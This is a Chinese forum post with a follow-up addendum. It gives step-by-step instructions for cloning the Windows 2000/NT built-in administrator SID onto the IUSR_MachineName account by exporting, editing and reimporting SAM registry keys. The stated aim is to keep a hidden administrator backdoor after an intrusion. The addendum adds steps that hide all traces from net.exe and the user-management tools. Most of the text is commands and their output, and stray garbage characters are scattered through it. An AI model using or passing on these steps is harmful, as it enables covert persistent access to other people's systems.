克隆管理员帐号的方法

542573107

[url=]减小字体[/url] [url=]增大字体[/url]

经常看到一些人在入侵一台Windows 2000或者Windows NT后堂而皇之地创建一个管理员组的用户，似乎当管理员不存在一般，今天偶违背一下偶以前的初衷，Share一个类似于RootKit的玩艺，当然，这些过程也是可以用脚本实现的，但是我就不写了，OK，Show Time Now。

" y% E( l6 y, I* d+ D' J首先要让大家知道的概念是在Windows 2000和Windows NT里，默认管理员帐号的SID是固定的500（0x1f4），那么我们可以用机器里已经存在的一个帐号将SID为500的帐号进行克隆，在这里我们选择的帐号是IUSR_MachineName（当然，为了加强隐蔽性，我们选择了这个帐号，所有用户都可以用以下的方法，只不过这个用户较常见罢了），测试环境为Windows 2000 Server。
$ G! R2 F  R2 u( L. O
运行一个System的CMD Shell( http://www.sometips.com/tips/scripts/173.htm 或使用 Http://www.sometips.com/soft/psu.exe)，然后在该CMD Shell里面运行
以下是引用片段：
regedit /e adam.reg HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000001F4   
: @5 y! w/ y0 M& A% [# }8 I
这样我们将SID 为500的管理员帐号的相关信息导出，然后编辑adam.reg文件，将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000001F4]最后的’1F4’修改为IUSR_MachineName的SID（大部分的机器该用户的SID都为0x3E9，如果机器在最初安装的时候没有安装IIS，而自己创建了帐号后再安装IIS就有可能不是这个值），将Root.reg文件中的’1F4’修改为’3E9’后执行
regedit /s adam.reg
2 m* I: S) N$ ~( x+ @* f导入该Reg文件

1 Z1 A% }2 B2 F; a. |( k9 j然后运行
net user IUSR_MachineName Sometips
修改IUSR_MachineName的密码（最好使用14位的密码，越像IUSR_MachineName的密码越好）

OK,大功告成...

8 R$ W/ l& d9 n6 B% P0 c4 h9 ?这样，我们拥有和默认管理员一样的桌面、一样的Profile.....
3 p. e4 k  W% a3 y( A; `" }而且，当我们运行 net localgroup administrators 时，看看结果：
& N0 m: d2 p, v8 }以下是引用片段：
8 F  K% u& {) E: O1 Q. {9 kC:/>net localgroup administrators   
* {5 |& r& M& m) \3 I- bAlias name administrators   
Comment Administrators have complete and unrestricted access to the computer/domain   

Members   
! q7 w1 h1 y  R1 ]) j
-------------------------------------------------------------------------------   
" J+ S1 J7 Z2 B% E9 xAdministrator   
: \& S% x1 N# i1 H# sThe command completed successfully.   

+ r# L) l0 W+ S/ J* S/ S# ^' n再看看USER2SID的输出结果：
% f* |8 @0 c1 }" ~# tC:/>user2sid Administrator

S-1-5-21-1004336348-1078145449-854245398-500
  R+ }' X7 H0 g( t$ X4 p5 M
Number of subauthorities is 5
Domain is IDONTKNOW
! M# C2 N9 E' Z0 C  w7 q6 ?Length of SID in memory is 28 bytes
% ?" Y4 H1 K3 E4 HType of SID is SidTypeUser

6 H" ]# O+ }, T. @" y9 C# [C:/>user2sid iusr_machinename

5 t! O  N- S! X4 nS-1-5-21-1004336348-1078145449-854245398-1001
/ v# i% H( T+ K6 f2 E/ g) T$ y
+ U* L7 P7 s4 H) LNumber of subauthorities is 5
1 @" U5 m) Q/ Z9 y0 e, PDomain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser

我想，再高明的管理员也看不到任何的异状了...而且，随便管理员改成什么密码，我照样可以用IUSR_MachineName，密码为Sometips登陆...(没有哪位大侠级的管理员喜欢经常修改IUSR_MachineName为其他的名字吧)
$ F3 ]' [) m) w6 U& H
^_^，这算不算RootKit...

: h4 ^: `3 F1 {$ Z! g' G附：
1、感谢叮叮付出需要reinstall OS的代价...
2、任何用以上方法进行试验所导致的系统无法使用均与偶无关，偶均不提供技术支持...

: Z$ C9 v7 |4 l  ~# A; [1 n-----------------------------------------------------------------------------

叮叮 的补充完善

很多人提到使用了管理工具的用户管理后，能够发现IUSR_MachineName被提升了权限。
现给出解决办法。
! U1 M% ?  Q" G+ r- V  v$ ~
- p9 R$ u* U$ {+ o! L- r  d方法同上，不过这次修改内容多一些。即
这次要导出两个key内容：
$ C1 c$ \5 r  ^# |2 {. I$ @# C0 z一个是adam提到的
, z0 L& C7 a4 z$ B  G, A' E以下是引用片段：
regedit /e adam.reg HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000001F4   
+ _& C& C8 V# ^9 p
然后另外一个是你需要修改那个账号的值
3 p. |' F. I# G) P以下是引用片段：
9 L) L/ v- I- S5 Gregedit /e iusr.reg HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000003E9 然后按照adam提到的修改adam.reg
! _" Z$ v* I5 k9 z' _6 W/ L“将adam.reg文件的第三行 以下是引用片段：
--[HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000001F4]最后的’1F4’
修改为IUSR_MachineName的SID”

现在，你还要从iusr.reg文件中复制一下内容
就是将iusr.reg文件中“’V’=hex:0”开始一直到iusr.reg文件结束部分复制下来
' y6 ?8 i2 L& s  Q# x然后替换掉adam.reg中同样位置的部分

# p" L& u" ]4 A- I3 ^; ]; q最后使用
8 Q/ W1 P2 v" [$ j: fregedit /s adam.reg
导入该Reg文件
, p9 e. c8 v, \/ F0 r4 Y; P呵呵，别忘了给这个IUSR_MachineName改密码哦。
hehe,ok，大功告成。
9 n# X( Q4 J2 Y3 l' [+ j. z现在IUSR_MachineName账号拥有了管理员的权限，但是你使用net.exe和
% T4 t1 E+ X, _! u管理工具中的用户管理都将看不到任何痕迹，即使你去察看所属于的组和用户。
都和修改前没有任何区别。

defg721

不错不错
, D7 H/ o8 I, J4 x' N3 d$ p; A赞一个

l3278

不错不错
2 U! m9 [2 q: w7 j赞一个